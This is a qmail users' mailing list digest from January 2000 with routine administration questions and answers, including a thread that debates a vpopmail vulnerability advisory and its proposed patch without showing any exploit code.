qmail Digest 25 Jan 2000 11:00:01 -0000 Issue 891

Topics (messages 35979 through 36061):

Problems bouncing redirected mails
        35979 by: Bernat Ginard

Any way to log and correlate qmail-smtpd/qmail-send IP addresses?
        35980 by: Reuben Farrelly
        36002 by: Dr. Erwin Hoffmann
        36027 by: George Cox

Databytes file
        35981 by: TAG

Re: remote root qmail-pop with vpopmail advisory and exploit with  patch (fwd)
        35982 by: Russ Allbery
        35983 by: Russ Allbery
        35984 by: Robert Varga
        35985 by: Ian Lance Taylor
        35991 by: iv0
        35997 by: Robert Varga
        36020 by: Giles Lean
        36022 by: what's your style?
        36025 by: Russ Allbery

Something strange in my logs.
        35986 by: Chris Readle
        35987 by: Anand Buddhdev
        35988 by: Walt Mankowski
        35989 by: Russell Nelson
        36005 by: Dave Sill

Wildcard virtual email mapping
        35990 by: Robbie Honerkamp
        36000 by: Dave Kitabjian
        36004 by: Tong

forwarding without .forward package?
        35992 by: Voitenko, Denis
        35995 by: Thomas Neumann
        35996 by: Petr Novotny
        35998 by: Robert Varga
        35999 by: Petr Novotny

Re: Blocking Mails
        35993 by: Abel Lucano
        36001 by: Dr. Erwin Hoffmann

Re: High-load servers...
        35994 by: cmikk.uswest.net
        36048 by: cmikk.uswest.net

Re: problems sending local email with qmail
        36003 by: Dave Sill
        36007 by: Russell Nelson

Duplicates on outbound mail, not inbound
        36006 by: Kevin Lee
        36010 by: Mark Delany
        36012 by: Dave Sill

Re: user maildirsmtp fail
        36008 by: Dave Sill

Re: default to mailing list
        36009 by: Dave Sill

Re: Newbie needs help.....
        36011 by: Dave Sill

Re: Relay problem with Qmail?
        36013 by: Dave Sill

Re: a little confusion regarding ~user/Mailbox
        36014 by: Dave Sill

Re: Getting error from qmail
        36015 by: Dave Sill
        36019 by: Petr Novotny

Re: SMTP AUTH - was: High-load servers...
        36016 by: Dave Sill
        36026 by: listy-dyskusyjne Krzysztof Dabrowski

Re: mail relay
        36017 by: Dave Sill

qmail delivery slowdown under high load
        36018 by: Andras Tudos - Computronic, C3
        36021 by: Mark Delany
        36028 by: George Cox
        36042 by: Andras Tudos - Computronic, C3

problems retrieving email
        36023 by: Eric LaLonde
        36029 by: Dave Sill
        36030 by: Petr Novotny
        36036 by: Eric LaLonde
        36038 by: Stig Sandbeck Mathisen
        36044 by: Eric LaLonde

can't open  error_file
        36024 by: Steve Wolfe
        36031 by: Dave Sill

reverse DNS
        36032 by: Justin Bell
        36034 by: Tim Hunter
        36035 by: nascheme.enme.ucalgary.ca

ANNOUNCE: Scan4Virus-0.15 - Qmail-specific anti-virus wrapper
        36033 by: Jason Haar

rcpthosts question
        36037 by: Adam Michaud
        36041 by: Adam Michaud

/usr/sbin/sendmail
        36039 by: kevin olson
        36040 by: Steve Wolfe

qpopper vs washington edu pop
        36043 by: Max

Vpopmail (qmail add-on) is vulnerable to remote root exploit (vpopmail, vchkpw)
        36045 by: Irwan Hadi
        36056 by: iv0

QMQP and QMTP
        36046 by: Brian Baquiran

Re: Ryan Sharon's new address
        36047 by: AMANDA BETH ELDER
        36050 by: Jacob Joseph

alternate qmail-popup.c patch for untrusted/insecure checkpassword implementations
        36049 by: Adam McKenna

Alternatives to NFS-mounted Maildirs
        36051 by: Brian Baquiran
        36052 by: Thorkild Stray
        36053 by: admin.delanet.com

error message help
        36054 by: David McCall

Multiple domain accounts mail to be collected in single account
        36055 by: john

Truncating large attachments in bounced mail
        36057 by: David Cunningham

NOT Exchange and OUTLOOK
        36058 by: Lars-�ke Torlind

ANNOUNCE: QMAIL 1.03 SPAMCONTROL Patch
        36059 by: Dr. Erwin Hoffmann

QMAIL 1.03 SPAMCONTROL Patch
        36060 by: Dr. Erwin Hoffmann

mbox format on qmail
        36061 by: Kristina

Administrivia:

To unsubscribe from the digest, e-mail:
        [EMAIL PROTECTED]

To subscribe to the digest, e-mail:
        [EMAIL PROTECTED]

To bug my human owner, e-mail:
        [EMAIL PROTECTED]

To post to the list, e-mail:
        [EMAIL PROTECTED]


----------------------------------------------------------------------


Hi all,

Recently I have set up a mail server with qmail and vpopmail.
But the problem is that when somebody tries to send a mail to
a non existent account qmail accepts the mail and then bounces
and return the mail to the sender. There is no problem with it
except for the case the mail is arriving through a redirection,
in that case the bounce mail is tried to be delivered to the
server which has the redirection (the sender in the SMTP envelope)
but with destination the real sender and in this case the 
intermediate mail server doesn't accept the mail because it is
not sent to one of its users and the mail double bounces.

There is any way to make the mail be returned to the sender
other than resend them manually.

Regards,

-- 
Bernat Ginard Llad�
mailto:[EMAIL PROTECTED]           http://www.kaos.es




Hi people,

Is it possible to have qmail-smtpd log the connecting IP address (and/or 
hostname) in the same log (preferably the same line) for every incoming 
SMTP connection it handles?  I am presently running tcpserver/qmail-1.03 
but am in the position of being able to change if need be.  I am also using 
multilog, but having different logs for smtpd and qmail-send and having to 
correlate things that way isn't overly useful...

I have seen this sort of logging done once before but did not manage to 
find out how it was done.  Can anyone suggest anything?

Thanks,
Reuben





At 23:04 24.1.2000 +1100, you wrote:
> 
>Hi people,
>
>Is it possible to have qmail-smtpd log the connecting IP address (and/or 
>hostname) in the same log (preferably the same line) for every incoming 
>SMTP connection it handles?  I am presently running tcpserver/qmail-1.03 
>but am in the position of being able to change if need be.  I am also using 
>multilog, but having different logs for smtpd and qmail-send and having to 
>correlate things that way isn't overly useful...
>
>I have seen this sort of logging done once before but did not manage to 
>find out how it was done.  Can anyone suggest anything?
>
>Thanks,
>Reuben
>
>

Hi,

have a look at my SPAMCONTROL patch I put to the qmailannounce list.

eh.

+-----------------------------------------------------------------------+
|  fff        hh                                     Dr. Erwin Hoffmann |
| ff          hh                                                        |
| ff    eee   hhhh      ccc   ooo    mm mm  mm       Wiener Weg 8       |
| fff  ee ee  hh  hh   cc   oo   oo  mmm  mm  mm     50858 Koeln        |
| ff  ee eee  hh  hh  cc   oo     oo mm   mm  mm                        |
| ff  eee     hh  hh   cc   oo   oo  mm   mm  mm     Tel 0221 484 4923  |
| ff   eeee   hh  hh    ccc   ooo    mm   mm  mm     Fax 0221 484 4924  |
+-----------------------------------------------------------------------+




On 24/01 23:04, Reuben Farrelly wrote:

> Is it possible to have qmail-smtpd log the connecting IP address (and/or 
> hostname) in the same log (preferably the same line) for every incoming 

This may not _exactly_ answer your question, but did you read FAQ 5.1?


gjvc

-- 
[gjvc]
                              In god we're trussed




HI ALL,

Is it possible to set individual quotas for mailbox send and recieve for
specific users or virtualdomains??

Many Thanks

Tonino




Russell Nelson <[EMAIL PROTECTED]> writes:
> Derek Callaway writes:

>> Curious, what's so insecure about syslog()?

> A version was subject to a buffer overflow attack.

That's just for starters.  To be fair, current syslog on *most* Unix
systems is now pretty solid except for occasionally losing messages.  But
among the problems I've seen or heard of in different implementations:

 * No length checking leading to buffer overflow attacks.

 * No filtering of characters leading to odd behavior as various
   components not expecting arbitrary binary data get it in messages.

 * Poor behavior under load, often dropping messages without an error
   (this is still a common problem with syslogd, and is always going to be
   a problem with the syslog network protocol since it uses UDP).

The interface also tends to be wildly different across different brands of
Unix if you want to do anything more than call the syslog() function in
libc.  And there are several syslog packages (Solaris is notable here)
whose configuration file parsing is so picky and buggy that even people
aware of and expecting the pickiness often have trouble getting it to work
right.

-- 
Russ Allbery ([EMAIL PROTECTED])         <URL:http://www.eyrie.org/~eagle/>




Russell Nelson <[EMAIL PROTECTED]> writes:

> Securing vchkpop.  There is no reason to limit the username or password
> information to 40 characters, even if the RFC does say to do it.

That's not what the RFC says.  The RFC says that the *client* shall not
send arguments in excess of 40 characters in the absence of extensions.
It says nothing at all about what the server should do if it receives
arguments in excess of 40 characters.

-- 
Russ Allbery ([EMAIL PROTECTED])         <URL:http://www.eyrie.org/~eagle/>






On Sun, 23 Jan 2000, iv0 wrote:

> 
> I recommend upgrading to the latest version of vpopmail which fixes
> the exploit. Pick up the current stable version:

So it is fixed from version 3.4.11? 

Robert Varga





   From: Russell Nelson <[EMAIL PROTECTED]>
   Date: Sun, 23 Jan 2000 22:53:31 -0500 (EST)

    > 5. Recommendation
    > 
    > Impose the 40 character limitation specified by RFC1939 into qmail.
    > Apply qmail-popup patch http://www.ktwo.ca/c/qmail-popup-patch

   I don't recommend applying that patch.  Every line of it is wrong.  It
   makes qmail-popup less secure, by inserting a call to syslog(), which
   is a security disaster. It also sucks in the string library, which
   includes the well-known security hole sprintf().

Besides, unless I'm missing something, the patch is simply incorrect.
It should set userlen to strlen(user) + 1, not just to strlen(user).
Otherwise, qmail-popup won't write out the trailing null byte after
the user name, breaking the protocol.

(And I agree with others that patching qmail is the wrong approach in
any case: qmail is not violating the RFC, and vpopmail should not
assume that its input is well-conditioned.)

Ian




Robert Varga wrote:
> 
> On Sun, 23 Jan 2000, iv0 wrote:
> 
> >
> > I recommend upgrading to the latest version of vpopmail which fixes
> > the exploit. Pick up the current stable version:
> 
> So it is fixed from version 3.4.11?
> 
> Robert Varga

Yes, version 3.4.11j as of Jan 20th has the fix.

Ken Jones






On Mon, 24 Jan 2000, iv0 wrote:

> Robert Varga wrote:
> > 
> > On Sun, 23 Jan 2000, iv0 wrote:
> > 
> > >
> > > I recommend upgrading to the latest version of vpopmail which fixes
> > > the exploit. Pick up the current stable version:
> > 
> > So it is fixed from version 3.4.11?
> > 
> > Robert Varga
> 
> Yes, version 3.4.11j as of Jan 20th has the fix.
> 
> Ken Jones
> 

If the fix is appliable to an earlier version, could it be posted
separately, to provide possibility to patch the current debian (3.4.9)
version until Jon Marler packages 3.4.11?

Robert Varga






On 24 Jan 2000 05:38:20 -0800  Russ Allbery wrote:

> That's just for starters.  To be fair, current syslog on *most* Unix
> systems is now pretty solid except for occasionally losing messages.  But
> among the problems I've seen or heard of in different
> implementations:

Also, depending on the vendor and version, I have seen:

- syslogd hang
- syslogd stop forwarding messages to other hosts, when it is
  configured to do so
- become a CPU hog
- log incorrect internal diagnostics due to clobbering errno

syslogd is not quality software.  There are various efforts underway
to write replacements, including of course Dan's tools.  People
committed to syslog() style interfaces might want to look at:

http://www.ietf.org/ietf/99nov/syslog-agenda-99nov.txt

Regards,

Giles





I only supply this sample patch because there is not one from the
author.  It is not designed to be in the same style of qmail code, for
instance, I included a comment.

Also, it is a great idea to impose the limitation on vpopmail aswell.


Thanks.
K2

PS. I dont believe there is a "sprintf()" in the patch code.

On 24 Jan 2000, Ian Lance Taylor wrote:

>    From: Russell Nelson <[EMAIL PROTECTED]>
>    Date: Sun, 23 Jan 2000 22:53:31 -0500 (EST)
> 
>     > 5. Recommendation
>     > 
>     > Impose the 40 character limitation specified by RFC1939 into qmail.
>     > Apply qmail-popup patch http://www.ktwo.ca/c/qmail-popup-patch
> 
>    I don't recommend applying that patch.  Every line of it is wrong.  It
>    makes qmail-popup less secure, by inserting a call to syslog(), which
>    is a security disaster. It also sucks in the string library, which
>    includes the well-known security hole sprintf().
> 
> Besides, unless I'm missing something, the patch is simply incorrect.
> It should set userlen to strlen(user) + 1, not just to strlen(user).
> Otherwise, qmail-popup won't write out the trailing null byte after
> the user name, breaking the protocol.
> 
> (And I agree with others that patching qmail is the wrong approach in
> any case: qmail is not violating the RFC, and vpopmail should not
> assume that its input is well-conditioned.)
> 
> Ian
> 





Giles Lean <[EMAIL PROTECTED]> writes:

> syslogd is not quality software.  There are various efforts underway to
> write replacements, including of course Dan's tools.  People committed
> to syslog() style interfaces might want to look at:

> http://www.ietf.org/ietf/99nov/syslog-agenda-99nov.txt

I subscribed to that working group when it first started, but then most of
the active participants became very enamored with sending syslog messages
on the wire in XML and using YYYYMMDD HHMMSS.mmm sorts of timestamps as
part of the wire protocol.  Use of human-readable timestamps on the wire
was deemed in some of the discussions to require less processing.

*shrug*  Maybe I'm missing the obvious advantages of this sort of
approach, but it struck me extremely wrong and I'm not sure I'll want to
use anything they come up with if they stick to that same approach.

-- 
Russ Allbery ([EMAIL PROTECTED])         <URL:http://www.eyrie.org/~eagle/>




I just noticed something strange in my qmail log....it seems that all
the messages have the same message number.  Basically, it seems that
starting this morning all message deliveries that I can see in
/var/log/qmail are getting the message number 230522.  They get
different *delivery* numbers, but the message # is the same....here's
any example:

end msg 230522
new msg 230522
info msg 230522: bytes 1460 from <[EMAIL PROTECTED]> qp 4286 uid 502
starting delivery 185: msg 230522 to local [EMAIL PROTECTED]
status: local 1/20 remote 0/30
delivery 185: success: did_1+0+0/
status: local 0/20 remote 0/30
end msg 230522
new msg 230522
info msg 230522: bytes 28508 from <[EMAIL PROTECTED]> qp 4360 uid 502
starting delivery 186: msg 230522 to local [EMAIL PROTECTED]

And more of the same....any ideas?  Is this going to cause me problems? 
I did have some mail server problem over the weekend and ended up
rebuilding the thing.  However, I honestly don't recall whether or not
it was doing the same thing before the crash.

chris




On Mon, Jan 24, 2000 at 03:16:59PM -0500, Chris Readle wrote:

> I just noticed something strange in my qmail log....it seems that all
> the messages have the same message number.  Basically, it seems that
> starting this morning all message deliveries that I can see in
> /var/log/qmail are getting the message number 230522.  They get
> different *delivery* numbers, but the message # is the same....here's
> any example:

qmail uses the disk inode number for the message number. Since messages
come and go, inode numbers get re-used. Nothing to worry about.

-- 
See complete headers for more info




On Mon, Jan 24, 2000 at 06:28:19PM +0300, Anand Buddhdev wrote:
> On Mon, Jan 24, 2000 at 03:16:59PM -0500, Chris Readle wrote:
> 
> > I just noticed something strange in my qmail log....it seems that all
> > the messages have the same message number.  Basically, it seems that
> > starting this morning all message deliveries that I can see in
> > /var/log/qmail are getting the message number 230522.  They get
> > different *delivery* numbers, but the message # is the same....here's
> > any example:
> 
> qmail uses the disk inode number for the message number. Since messages
> come and go, inode numbers get re-used. Nothing to worry about.

Doesn't it seem strange that every message is being written to
the same inode?  Is it perhaps writing to an mbox instead of a
maildir?





Walt Mankowski writes:
 > Doesn't it seem strange that every message is being written to
 > the same inode?

It depends on how your filesystem allocates inodes.  If it keeps
adding an inode back to the head of the "available" list, then nearly
every message will have the same inode if you don't have a lot of
messages being queued and you don't have a lot of traffic.  Ignore the 
message numbers, though, it is the delivery number that matters.

-- 
-russ nelson <[EMAIL PROTECTED]>  http://russnelson.com
Crynwr sells support for free software  | PGPok | "Ask not what your country
521 Pleasant Valley Rd. | +1 315 268 1925 voice | can force other people to
Potsdam, NY 13676-3213  | +1 315 268 9201 FAX   | do for you..."  -Perry M.




Walt Mankowski <[EMAIL PROTECTED]> wrote:

>Doesn't it seem strange that every message is being written to
>the same inode?  Is it perhaps writing to an mbox instead of a
>maildir?

No, it's not strange. These are queue file i-nodes, not mailbox
i-nodes. Reusing the same one just means that you never have more than 
one message in the queue.

-Dave




I'm running Qmail in a single-UID POP server setup (as in Paul
Gregg's HOWTO). Everything is working fine except.. Some users
want any email coming to any possible address in their domain 
mapped to their mailbox. I've been playing with several possibilities
in /var/qmail/users/assign, but nothing seems to work so far.

Has anyone done this before under such a setup?

Thanks,
Robbie






We use a variation on the same HOWTO. All you do is:

1) rcpthosts:

theirdomain.com

2) virtualdomains:

theirdomain.com:theirdomain-com

3) assign:

+theirdomain-com:popuser:888:888:/u1/...theirdomain-com/default:-::

Then, in the directory /u1/...theirdomain-com/default:

4) create Maildir

5) create .qmail-default with entry:

/u1/...theirdomain-com/default/Maildir/

That should do it!

Dave


On Monday, January 24, 2000 10:44 AM, Robbie Honerkamp [SMTP:[EMAIL PROTECTED]] 
wrote:
> I'm running Qmail in a single-UID POP server setup (as in Paul
> Gregg's HOWTO). Everything is working fine except.. Some users
> want any email coming to any possible address in their domain 
> mapped to their mailbox. I've been playing with several possibilities
> in /var/qmail/users/assign, but nothing seems to work so far.
> 
> Has anyone done this before under such a setup?
> 
> Thanks,
> Robbie
> 




Use '+' instead of '=' in users/assign as described in the FAQ.

At 10:44 AM 1/24/00 -0500, Robbie Honerkamp wrote:
>I'm running Qmail in a single-UID POP server setup (as in Paul
>Gregg's HOWTO). Everything is working fine except.. Some users
>want any email coming to any possible address in their domain 
>mapped to their mailbox. I've been playing with several possibilities
>in /var/qmail/users/assign, but nothing seems to work so far.
>
>Has anyone done this before under such a setup?
>
>Thanks,
>Robbie
>
>
>





Title: forwarding without .forward package?

I have a machine that accepts mail for domain.com and has a user denis on it. I'd like to forward all the mail to [EMAIL PROTECTED] to a different email. I tried to create a /var/qmail/alias/.qmail-denis which contained the destination email. Yet, qmail still delivers messages to the local mailbox. Is there a way to do this without installing the .forward package?

Denis





"Voitenko, Denis" <[EMAIL PROTECTED]> writes:

> I have a machine that accepts mail for domain.com and has a user
> denis on it. I'd like to forward all the mail to [EMAIL PROTECTED] to
> a different email. I tried to create a /var/qmail/alias/.qmail-denis
> which contained the destination email. Yet, qmail still delivers
> messages to the local mailbox. Is there a way to do this without
> installing the .forward package?

If a UNIX account 'denis' exists and you don't make
special arrangements for 'denis' in users/assign then ~alias
is not consulted at all. Try

 echo '&[EMAIL PROTECTED]' > ~denis/.qmail

instead.

-t





-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

On 24 Jan 00, at 11:15, Voitenko, Denis wrote:

> I have a machine that accepts mail for domain.com and has a user denis
> on it. I'd like to forward all the mail to [EMAIL PROTECTED] to a
> different email. I tried to create a /var/qmail/alias/.qmail-denis
> which contained the destination email. Yet, qmail still delivers
> messages to the local mailbox. Is there a way to do this without
> installing the .forward package?

It wouldn't work even _with_ dot-forward package. Unless
qmail-users mechanism is used, the real user is always tried 
before ~alias/.qmail-anything. (dot-forward lives in
~alias/.qmail-defult - and forwards only otherwise undeliverable 
mails.)

Get a look at qmail-users if you really need to override existing 
users.

-----BEGIN PGP SIGNATURE-----
Version: PGP 6.0.2 -- QDPGP 2.60 
Comment: http://community.wow.net/grt/qdpgp.html

iQA/AwUBOIyItVMwP8g7qbw/EQJV0QCfRTBIy1KjKUssyZ/X8EIOuLZ7EEMAoN2I
R4O8aMK/B6dRme+4Bbnjt2nC
=PYGk
-----END PGP SIGNATURE-----
--
Petr Novotny, ANTEK CS
[EMAIL PROTECTED]
http://www.antek.cz
PGP key ID: 0x3BA9BC3F
-- Don't you know there ain't no devil there's just God when he's drunk.
                                                             [Tom Waits]






On Mon, 24 Jan 2000, Voitenko, Denis wrote:

> I have a machine that accepts mail for domain.com and has a user denis on
> it. I'd like to forward all the mail to [EMAIL PROTECTED] to a different
> email. I tried to create a /var/qmail/alias/.qmail-denis which contained the
> destination email. Yet, qmail still delivers messages to the local mailbox.
> Is there a way to do this without installing the .forward package?
> 
> Denis
> 

Put the email address into ~denis/.qmail

If you want to keep a local copy as well, then be sure to put the
appropriate line in it as well (./Maildir/ ./Mailbox or anything else...)

Existing users take precedence over aliases.

Robert Varga





-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

On 24 Jan 00, at 17:15, Petr Novotny wrote:
> It wouldn't work even _with_ dot-forward package.

Why on earth am I thinking fast-forward when I read dot-forward?

If you use dot-forward package, and have the default delivery 
instructions to run dot-forward, then .forward file gets consulted.

Otherwise, .qmail gets consulted. man dot-qmail for details.

-----BEGIN PGP SIGNATURE-----
Version: PGP 6.0.2 -- QDPGP 2.60 
Comment: http://community.wow.net/grt/qdpgp.html

iQA/AwUBOIyLoFMwP8g7qbw/EQIvbwCcCM71gs+Fm25XNZ8wBT+zGocii6UAoN2Y
svs/gBkrVhDhBb4zYj9xXbZ2
=XbEj
-----END PGP SIGNATURE-----
--
Petr Novotny, ANTEK CS
[EMAIL PROTECTED]
http://www.antek.cz
PGP key ID: 0x3BA9BC3F
-- Don't you know there ain't no devil there's just God when he's drunk.
                                                             [Tom Waits]




On Mon, 24 Jan 2000, Shashi Dahal wrote:

> Date: Mon, 24 Jan 2000 16:00:49 +0545
> From: Shashi Dahal <[EMAIL PROTECTED]>
> To: [EMAIL PROTECTED]
> Subject: Blocking Mails
> 
> Dear All,
> 
> Someone is spamming through my server.
> The header file looks like:
> 
> Return-Path: <[EMAIL PROTECTED]>
> Received: (qmail 14914 invoked from network); 24 Jan 2000 01:54:59 -0000
> Received: from ram.wlink.com.np (HELO Pupi) (@202.79.32.33)
>    by trishakti.wlink.com.np with SMTP; 24 Jan 2000 01:54:59 -0000
> Message-ID: <[EMAIL PROTECTED]>
> From: Administrator <[EMAIL PROTECTED]>
> Reply-To: [EMAIL PROTECTED]
> X-Mailer: PUPI-MAIL v.0.1
> MIME-Version: 1.0
> To: [EMAIL PROTECTED]
> Subject: Internet problem year 2000.
> Content-Type: multipart/mixed; boundary="-GOODMAN"
> 
>       My question is how can I block this type of address something like:
> 
> admin_@*.com
> admin_@*.net
> admin_@*.org
> admin_@*.edu
> 
> Thanks in Advance
> 
> Shashi
> 

/var/qmail/control/badmailfrom doesn't accept wildcards.

I could solve this problem patching my  qmail 1.03 with
flame-patches-1.03-1.6.2.diff from http://www.flame.org/qmail/

it enables a badheaders control file with more flexible rules for blocking

cost?: in my personal experience, a little extra charge in my mail server
       (noticeable only at peak hours)

best regards,

---------------------------------------------------------------------
 Abel Lucano                   
 E-mail: [EMAIL PROTECTED]  
 Aolsa





At 16:00 24.1.2000 +0545, you wrote:
> 
>Dear All,
>
>Someone is spamming through my server.
>The header file looks like:
>
>Return-Path: <[EMAIL PROTECTED]>
>Received: (qmail 14914 invoked from network); 24 Jan 2000 01:54:59 -0000
>Received: from ram.wlink.com.np (HELO Pupi) (@202.79.32.33)
>   by trishakti.wlink.com.np with SMTP; 24 Jan 2000 01:54:59 -0000
>Message-ID: <[EMAIL PROTECTED]>
>From: Administrator <[EMAIL PROTECTED]>
>Reply-To: [EMAIL PROTECTED]
>X-Mailer: PUPI-MAIL v.0.1
>MIME-Version: 1.0
>To: [EMAIL PROTECTED]
>Subject: Internet problem year 2000.
>Content-Type: multipart/mixed; boundary="-GOODMAN"
>
>       My question is how can I block this type of address something like:
>
>admin_@*.com
>admin_@*.net
>admin_@*.org
>admin_@*.edu
>
>Thanks in Advance
>
>Shashi
>
>
Hi,

I put a SPAMCONTROL patch into qmailanounce. Please check. 

eh.
+-----------------------------------------------------------------------+
|  fff        hh                                     Dr. Erwin Hoffmann |
| ff          hh                                                        |
| ff    eee   hhhh      ccc   ooo    mm mm  mm       Wiener Weg 8       |
| fff  ee ee  hh  hh   cc   oo   oo  mmm  mm  mm     50858 Koeln        |
| ff  ee eee  hh  hh  cc   oo     oo mm   mm  mm                        |
| ff  eee     hh  hh   cc   oo   oo  mm   mm  mm     Tel 0221 484 4923  |
| ff   eeee   hh  hh    ccc   ooo    mm   mm  mm     Fax 0221 484 4924  |
+-----------------------------------------------------------------------+





On Fri, 21 Jan 2000 22:33:04 -0600 , Bruce Guenter writes:
> On Fri, Jan 21, 2000 at 10:24:11PM -0600, [EMAIL PROTECTED] wrote:
> > When I started my latest hack, I was under the
> > impression that ofmipd supported a subset of SMTP,
> > but checking the source, I see that I was mistaken.
> > I probably took the "more hacking" route:  I wrote
> > a qmail-queue wrapper which will rewrite the message
> > headers and the envelope.
> 
> Could we see it?  I am almost finished writing a simple qmail-queue
> wrapper that filters the body of the message through qmail-inject.  This
> achieves the same header rewriting that the @fixme trick does, without
> double delivery.  Once I finish it I'll post it.

I'll be cleaning this up today, and will post it
real soon now(tm)...  it's still pretty rough around
the edges.

Basically, it's similar to new-inject, except it
sports a qmail-queue-style interface, rather than
a qmail-inject-style one.

-- 
Chris Mikkelson  | "I have yet to see any problem, however complicated,
[EMAIL PROTECTED] | which, when you looked at it the right way, did not 
                 | become still more complicated."  -- Poul Anderson





On Fri, 21 Jan 2000 22:33:04 -0600 , Bruce Guenter writes:
> On Fri, Jan 21, 2000 at 10:24:11PM -0600, [EMAIL PROTECTED] wrote:
> > When I started my latest hack, I was under the
> > impression that ofmipd supported a subset of SMTP,
> > but checking the source, I see that I was mistaken.
> > I probably took the "more hacking" route:  I wrote
> > a qmail-queue wrapper which will rewrite the message
> > headers and the envelope.
> 
> Could we see it? 

Sure: fetch http://www.users.uswest.net/~cmikk/fixup-queue.tar.gz

It's a few additional/replacement files, and a patch
to the stock mess822-0.58 package.

-- 
Chris Mikkelson  | Einstein himself said that God doesn't roll dice. But
[EMAIL PROTECTED] | he was wrong.  And in fact, anyone who has played role-
                 | playing games knows that God probably had to roll quite
                 | a few dice to come up with a character like Einstein.
                 |                              -- Larry Wall




"Eric Lalonde" <[EMAIL PROTECTED]> wrote:

>Jan 22 21:53:59 twilight qmail: 948606839.267310 starting delivery 27: msg
>198762 to local [EMAIL PROTECTED]
>Jan 22 21:53:59 twilight qmail: 948606839.297786 delivery 27: failure:
>Sorry,_no_mailbox_here_by_that_name._(#5.1.1)/
>
>Qmail then bounces the email to the postmaster. I see it says that there is
>no mailbox here by that name, however, that should not be the case, as I am
>logged into the user as Mason at the time of mail attempt.
>If anyone has any idea of what I have neglected to do, or what I have done
>wrong, please let me know.

qmail doesn't deliver to users with uppercase characters in their
names. See:

    http://Web.InfoAve.Net/~dsill/lwq.html#uppercase-usernames

-Dave




Dave Sill writes:
 > "Eric Lalonde" <[EMAIL PROTECTED]> wrote:
 > 
 > >Jan 22 21:53:59 twilight qmail: 948606839.267310 starting delivery 27: msg
 > >198762 to local [EMAIL PROTECTED]
 > >Jan 22 21:53:59 twilight qmail: 948606839.297786 delivery 27: failure:
 > >Sorry,_no_mailbox_here_by_that_name._(#5.1.1)/
 > >
 > >Qmail then bounces the email to the postmaster. I see it says that there is
 > >no mailbox here by that name, however, that should not be the case, as I am
 > >logged into the user as Mason at the time of mail attempt.
 > >If anyone has any idea of what I have neglected to do, or what I have done
 > >wrong, please let me know.
 > 
 > qmail doesn't deliver to users with uppercase characters in their
 > names.

Yup.  Eric would have figured this out if he'd tried qmail-lint.  Y'all
can read Dave's excellent http://Web.InfoAve.Net/~dsill/lwq.html ,
or run a program:

    http://qmail.org/qmail-lint-0.55

-- 
-russ nelson <[EMAIL PROTECTED]>  http://russnelson.com
Crynwr sells support for free software  | PGPok | "Ask not what your country
521 Pleasant Valley Rd. | +1 315 268 1925 voice | can force other people to
Potsdam, NY 13676-3213  | +1 315 268 9201 FAX   | do for you..."  -Perry M.




Hi,

We use qmail to send out large subscriber emagazine/newsletter mailings (2 
million messages/week), and we seem to have a problem with some subscribers 
getting duplicates.  I have seen fixes for duplicates on inbound mail, but 
does anyone know how to address our problem on outbound mail.  Onelist and 
Hotmail don't seem to have a dupe problem.

The problem is sporadic and unpredictable.

Sometimes the duplicates have the same time stamp, and other times they are 
separated by an hour (message sent back into the cue as undelivered?).

Any thoughts?


Kevin Lee
TeamINTERACT
--------------------- NY office ----------------------------
352 7th Ave 3rd Floor     212-402-7767 NYC Fax:212-402-7768
New York, NY 10001              http://www.teaminteract.com
--------------------- NJ office ----------------------------
1100 Cornwall Rd Suite 5       Tel: 732-940-6550
Monmouth Junction, NJ 08852    Fax: 732-940-6540
--
Full Service Multimedia Agency: Disk/CD-ROM, KIOSKS, Sales Presentations, 
Tradeshow, Web, Screensavers.
http://www.did-it.com/ Boost search engine traffic Guaranteed!
http://www.briefme.com/ FREE subscriptions to over 80 e-zines
http://www.virtualinsults.com/ insulting greeting cards, FREE





Do your logs show that you are sending it twice?

Note that duplicates are always possible with SMTP and there is nothing
you can do about it. One scenario is simply that the other end sends back
a 250 OK which your end never sees. What does your end do? Resend as it must.

Ultimately only the receiver knows if it has a duplicate. What if a person is
subscribed with multiple addresses? What if a subscriber address is an exploder?


Regards.


On Mon, Jan 24, 2000 at 12:38:09PM -0500, Kevin Lee wrote:
> Hi,
> 
> We use qmail to send out large subscriber emagazine/newsletter mailings (2 
> million messages/week), and we seem to have a problem with some subscribers 
> getting duplicates.  I have seen fixes for duplicates on inbound mail, but 
> does anyone know how to address our problem on outbound mail.  Onelist and 
> Hotmail don't seem to have a dupe problem.
> 
> The problem is sporadic and unpredictable.
> 
> Sometimes the duplicates have the same time stamp, and other times they are 
> separated by an hour (message sent back into the cue as undelivered?).
> 
> Any thoughts?
> 
> 
> Kevin Lee
> TeamINTERACT
> --------------------- NY office ----------------------------
> 352 7th Ave 3rd Floor     212-402-7767 NYC Fax:212-402-7768
> New York, NY 10001              http://www.teaminteract.com
> --------------------- NJ office ----------------------------
> 1100 Cornwall Rd Suite 5       Tel: 732-940-6550
> Monmouth Junction, NJ 08852    Fax: 732-940-6540
> --
> Full Service Multimedia Agency: Disk/CD-ROM, KIOSKS, Sales Presentations, 
> Tradeshow, Web, Screensavers.
> http://www.did-it.com/ Boost search engine traffic Guaranteed!
> http://www.briefme.com/ FREE subscriptions to over 80 e-zines
> http://www.virtualinsults.com/ insulting greeting cards, FREE
> 




Kevin Lee <[EMAIL PROTECTED]> wrote:

>The problem is sporadic and unpredictable.
>
>Sometimes the duplicates have the same time stamp, and other times they are 
>separated by an hour (message sent back into the cue as undelivered?).
>
>Any thoughts?

Check the qmail-send logs.

-Dave




[EMAIL PROTECTED] wrote:

>[root@head alias]# /usr/local/bin/maildirsmtp /var/qmail/alias/pppdir \
>> alias-ppp- 202.96.134.132 'szptt.net.cn'
>maildirserial: fatal: unable to run tcpclient: file does not exist
>maildirserial: fatal: unable to run tcpclient: file does not exist
>maildirserial: fatal: unable to run tcpclient: file does not exist
>maildirserial: fatal: making no progress, giving up
>
>can somebody help me?

Is ucspi-tcp installed? In the standard location (/usr/local/bin)? Is
/usr/local/bin/in root's path?

-Dave




"J.M. Roth \(iip\)" <[EMAIL PROTECTED]> wrote:

>What do I need to put in the .qmail-default file if I want to deliver
>to a mailing list ?

A list of the recipients, one per line.

>simply the directory of the mailing list username doesn't seem to
>work (probably because there's no Mailbox directory in there)

See "man dot-qmail".

-Dave




Kevin Kling <[EMAIL PROTECTED]> wrote:

>@40000000388b7e6e2a40660c new msg 28615
>@40000000388b7e6e2a42717c info msg 28615: bytes 238 from
><[EMAIL PROTECTED]> qp 750 uid 500
>@40000000388b7e6e2fa74d7c starting delivery 1: msg 28615 to local
>[EMAIL PROTECTED]
